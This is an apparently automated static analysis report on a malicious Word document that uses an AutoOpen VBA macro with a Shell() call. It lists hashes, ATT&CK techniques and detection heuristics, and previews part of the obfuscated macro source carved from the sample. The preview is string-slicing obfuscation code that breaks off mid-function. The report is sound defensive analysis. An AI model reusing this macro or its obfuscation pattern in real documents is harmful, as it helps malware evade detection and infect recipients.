Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f364943a2c4608f1…

MALICIOUS

Office (OLE)

137.0 KB Created: 2017-10-27 18:02:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: ceeef40820359ad10ea275a062109eef SHA-1: 19db5808ab5f856ce5830d149fee145be1e2e783 SHA-256: f364943a2c4608f16b3f650ef84521b57b23f037795551c5de44715d95f71eaf
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() function, indicating an attempt to execute arbitrary code. This is further supported by ClamAV detection and heuristics flagging obfuscation and auto-execution. The macro likely serves to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73510 bytes
SHA-256: 973ae01b99f22c867a7874f6db7484fd12ad00049c54b411f7e2dd1dd0dae951
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 150 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function sFwGncInq()
JYlldhvAz = "VIHZQ89RH9atwpkzCmHKZoSJadqdwTNL4M357N4D0D"
VGFuCpo = Mid(JYlldhvAz, 11, 22)
afMpEikJG = VGFuCpo
jvHPos = "61P7RI9XY0ruJwzpBYwAOWiPdHCOGHzFnkWXfriQVQlCZnZDRbqGDVJzibMGSrNdEmHYaZKKtiizlfpphzwfRrBRbXoDiYwiDHwnfAdrRfMVqLOCmXZTuiLMkpzDkGfVjAuihBJjVENlijbQImRHwfkVvlDpDT1V"
joccXUTH = Mid(jvHPos, 11, 147)
TaoJt = joccXUTH
RNRVWJiSPjL = "33O2TE812oWBarbHwtjcaszCajFaMUDzRzwwijiwkATdjnVGcXsUEGTMzTHJzpjGkWkatiYPPksaYVTmLzwpcjvKflzPYVAvRNtMDuMzwcFTOtnbzVzwrtdBbZuIfIrtjwILcHiRmAqAdbwmwXPDXCEXjrkizERqlLjRkczsmjLqDdXzcHJItnWhslbkWERijAPRrfCWXWQqqNUFTlBX5QER"
mRiNTbMLBi = Mid(RNRVWJiSPjL, 10, 202)
CnPtQiswYWZ = mRiNTbMLBi
WRtnTPiGQSk = "0DD2HWQOLwUBYGfijiOzUqRdQvbjuqKiZqjUdqCjYPQKFQmbKVmBBjpbschPOvTUnlchaLFsbibFZHXzJzZZDIhsBEcAJnRdvwWUoEAzQuaTEjCkEhGOVBSFKQTBL"
kmVMHDWv = Mid(WRtnTPiGQSk, 8, 110)
mzFiirjcch = kmVMHDWv
ZiaJiFNDk = "7JDZIWR6AKARwlzvSjIvtmOjGShBTMBSAioKDkNHfGDZhbLGcfvLmBuiLJzlhkDnJhQQzprhWAPnjpzfGbZnRpfznGwtkbauCPQzLuInnNpmmHwWKUiFLPWTCRdrqwzuaUkUYzUMSlzEztNfHciQzUjntwwuRRwpPvLRXizKARnZPSTJDzjNPhwGlwabDavApKoEhvHdiYPfhJXadnqTiiZiwFjbDWHaWmkFiPbIqGjrRRZbZAwPkbRGlFFcOjZIQpIuYSwNMhdczRR0JE"
nFpYwin = Mid(ZiaJiFNDk, 9, 261)
dmfjQjmwu = nFpYwin
msQRErA = "UD7fQFOtbvrmzHjKQjYDZKVXYCzAvrnUidPJiUlitocAqBRIPFtjpRCUCWHOHNwkHWEVsWcvutKkiUjWkplqzHfQavGLNXWfqrtC6ZJ464H3E"
JhmzpSt = Mid(msQRErA, 4, 96)
hLHsINuw = JhmzpSt
uYAcFWWYpFB = "KUB7iRhjEBDXspuUiTYKzuJjaacIiDHDlCCwpGDoYvJiWkYzOZuwXDMnTvYHpZBBuzmpmwfXQkmDkfKqCcuEIIjhqPithvzwtIjWziMRuXhmRJColiEMfzslSEzWRlpUlnJbvntTPcKlbtQjNqIzrmTwPwDsjpAJhMBdzYQLDS9NCZMNSUHD8J3O6T71GX6L0T"
UthCS = Mid(uYAcFWWYpFB, 5, 161)
ZoiOSZKmB = UthCS
QvoTj = "YNEaHKzqlqQkVkNszpUZiDOhuwpYXEPZivwTdvzDmovkzYRjuGivAWDzbVjIUbTharBZmtPCrQntIdhVhJMCO3IDYLCHXISLBNVW"
aRSUD = Mid(QvoTj, 4, 79)
kPzAcav = aRSUD
qvaCpM = "3GH8ZXVDDVLZGH6KKNPW8HRWBAHSQ87YPNJYiQWUYMszsHOpjKUOKHXrtArfDkiJqznKaKzCKGTphnAHnBhdYuTawqPdZqQodiIvTEOYNSDDohJGzjsBCElvdNMkvTdUpiLziFnjnJPGrQlQjJipwOlZwNSGridupjNJVKcuwJOto80"
lqtmEnO = Mid(qvaCpM, 37, 137)
wnsjoMb = lqtmEnO
KCiEDds = "LBWVUYDDNAWWR9iDNcvElpnVbtmCQnhrIjVRICbvVhjtozskSJEdvarEBNmQiILHORFNTNvLBAiEFtjbACjHiEwio0MLSTVUZ64NOL3NMB"
ICZKZ = Mid(KCiEDds, 15, 75)
XBBUToiiq = ICZKZ
LucMjHZD = "9PZCCAVMQXT5IPJVSTSEMHqqYnQLXJMfmnkUssiLGkLhCbbuLXvTuWpiYhrtnEBdwCXqCfOZpHwbwInzMWAAOskPwBvKBlXBjilAEkrfIVinYNmPtuhREBODSHrAkDXDjzsNXnsbiUrsOzqlPfRHDGwhThiwtrvEzaDaUYsGBGmjKWpVQFlEmQzdAKupFwhnZmvntQRrnLGzTNXwsMfnGqShaaaYN2ZVA3LVOWZ5J"
zjwMAt = Mid(LucMjHZD, 17, 203)
JdIoqLU = zjwMAt
wlAaw = "W9YNOQQL30I2RZZQJTKHT0L9JdCAEYzKXbBcAotRbJCJnnzzsRthjTONSpHNkKCZUCAVqkizMYrXYQnWfEImiRaDNoJLhfhRHcpknbHHnuVLcqoCClhjBPuDcwICbSSjrZPvbCjDzAwjwPaWAHIvwBPrhmIqTFjUcpTDbsaACdiARLGMVmCUKU91"
qGuZzL = Mid(wlAaw, 25, 157)
IPnjGL = qGuZzL
WQUDDmf = "2RYP9LRMGTWJ7uQiEjjWiEioQwKdkDLEzaIJiOoRCrwcjDHBfrQEYiQLMmCGZYABVBPulHwqvOTqIGHNqJwsnHjUKwzwLhsdruGfnMPXvZJJKZDFfpPQaHNOVvkoKAiNVqzNzbadtawNzWJktrQWScDkhsJscaNvvwoUaqGDPmWEPMB7B6"
cGEpQYlGVkL = Mid(WQUDDmf, 14, 158)
oWIwfvOFcsv = cGEpQYlGVkL
HYaTjLdr = "JBZOHH062XWQHVSYGURTK6OUzvPsdzmvHRliqkiScInArnuwPQiXWfurbMZoZsNzVkJJJYVdtDCiDtcJBScMPOYcXuHdKptjvniGdlnrBR"
WBhUavjSawB = Mid(HYaTjLdr, 24, 81)
usjWaUCZpB = WBhUavjSawB
qaSIUY = "XuFiScMnhjPnGQAkGLhlPRsSDKTmQOWjPflSJkGzKHZuvBnTuCYvwzXZCnaIJZWTNjXafibWFhbIszXBWArNpajQILPWJzqkkFhLiNnMbBqPYPjEQYmJhJimAHDHVC9W6W115C8ODCOSZL5YHNP"
rXDsPNzir = Mid(qaSIUY, 2, 121)
sIzcTZiicS = rXDsPNzir
kdsFC = "NMTN8CASPKYH4ANY3XYIFLHQPvPKMNVciXtRUL6"
hrzKJqqMwNI = Mid(kdsFC, 24, 12)
Wrzij = hrzKJqqMwNI
TwiYZ = "GFJzjAjZbBDOrmhmzJKGpQKIniERjZfriDKmPwOoAXblDvhBkXdTjXJDDDJEwStCVMjocvXAvVFRpYFrzCjJvLLLuHjMmJsiiYPqPsYpzcYLRrNizRHtmkGJBUuVLLOlcXnQIPcEdqJSnAuCtEOUCzwuRFpvwDioOniuEwVipDPva8612RCN4MRTXOZ5A"
tJfABucz = Mid(TwiYZ, 4, 170)
tNSoEl = tJfABucz
End Functio
... (truncated)

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